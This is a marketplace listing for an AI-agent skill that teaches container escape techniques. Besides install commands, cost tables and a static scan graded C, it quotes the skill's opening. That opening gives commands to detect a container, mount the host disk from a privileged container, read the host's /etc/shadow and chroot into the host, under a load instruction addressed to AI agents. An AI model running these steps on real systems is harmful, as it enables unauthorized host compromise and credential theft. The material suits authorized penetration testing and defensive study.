HackSkills is an organized knowledge base of installable skills that gives AI agents practical security knowledge across areas such as web security, privilege escalation, reverse engineering, and digital forensics. It is intended for bug bounty work, penetration testing, CTF competitions, and authorized security research. The catalogue entries are the project's own master, category, and topic skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/yaklang/hack-skills/container-escape-techniquesnpx skills add yaklang/hack-skills --skill container-escape-techniquesgit clone --depth 1 https://github.com/yaklang/hack-skillsWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/yaklang/hack-skills/container-escape-techniques)<a href="https://agentmods.dev/skills/yaklang/hack-skills/container-escape-techniques"><img src="https://agentmods.dev/badge/skills/yaklang/hack-skills/container-escape-techniques.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00052 | $0.02687 |
| Opus 5 | $0.00026 | $0.01344 |
| Sonnet 5 | $0.00010 | $0.00537 |
| Haiku 4.5 | $0.00005 | $0.00269 |
Grade C, and why
container-escape-techniques scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Reaches for credential fileshighPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
cat /mnt/host/etc/shadow Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
# Without CLI (curl only) — create privileged container via API: Copies of this mod
4 near-identical copies found in the catalogue:
- container-escape-techniques — 100% identical, 0 lines differ
- container-escape-techniques — 100% identical, 0 lines differ
- container-escape-techniques — 100% identical, 0 lines differ
- container-escape-techniques — 92% identical, 4 lines differ
How it starts
The opening of the file, as written. The whole thing — 340 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: Container Escape Techniques — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert container escape techniques. Covers privileged container breakout, capability abuse, Docker socket exploitation, cgroup release_agent, namespace escape, runtime CVEs, and Kubernetes pod escape. Base models miss subtle escape paths via combined capabilities and cgroup manipulation.
0. RELATED ROUTING
Before going deep, consider loading:
- linux-privilege-escalation when you first need root inside the container before attempting escape
- kubernetes-pentesting for K8s-specific attack paths beyond pod escape
- linux-security-bypass when seccomp/AppArmor blocks your escape technique
Advanced Reference
Also load DOCKER_ESCAPE_CHAINS.md when you need:
- Step-by-step escape chains for common misconfigurations
- Docker-in-Docker escape scenarios
- Kubernetes-specific escape paths with full command sequences
1. AM I IN A CONTAINER?
# Quick checks
cat /proc/1/cgroup 2>/dev/null | grep -qi "docker\|kubepods\|containerd"
ls -la /.dockerenv 2>/dev/null
cat /proc/self/mountinfo | grep -i "overlay\|docker\|kubelet"
hostname # random hex = likely container
# Detailed check
cat /proc/1/status | head -5 # PID 1 is not systemd/init?
mount | grep -i "overlay" # overlay filesystem?
ip addr # veth interface? limited NICs?
Tools for Container Detection
# amicontained: shows container runtime, capabilities, seccomp
./amicontained
# deepce: Docker enumeration and exploit suggester
./deepce.sh
# CDK: all-in-one container pentesting toolkit
./cdk evaluate
2. PRIVILEGED CONTAINER ESCAPE
If --privileged flag was used, the container has nearly all host capabilities and device access.
2.1 Mount Host Filesystem
# Check if privileged
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = fully privileged
# Find host disk
fdisk -l 2>/dev/null || lsblk
# Usually /dev/sda1 or /dev/vda1
# Mount host root
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
# Access host filesystem
cat /mnt/host/etc/shadow
chroot /mnt/host bash
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 340 lines · 52 tokens per session scan C 7ab2698347f0
container-escape-techniques is a skill published in the GitHub repository yaklang/hack-skills (2,064 stars, last pushed 2mo ago), licensed MIT. It adds 52 tokens to every session and 2,687 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 2 findings (reaches for credential files, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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docker-socket-mount
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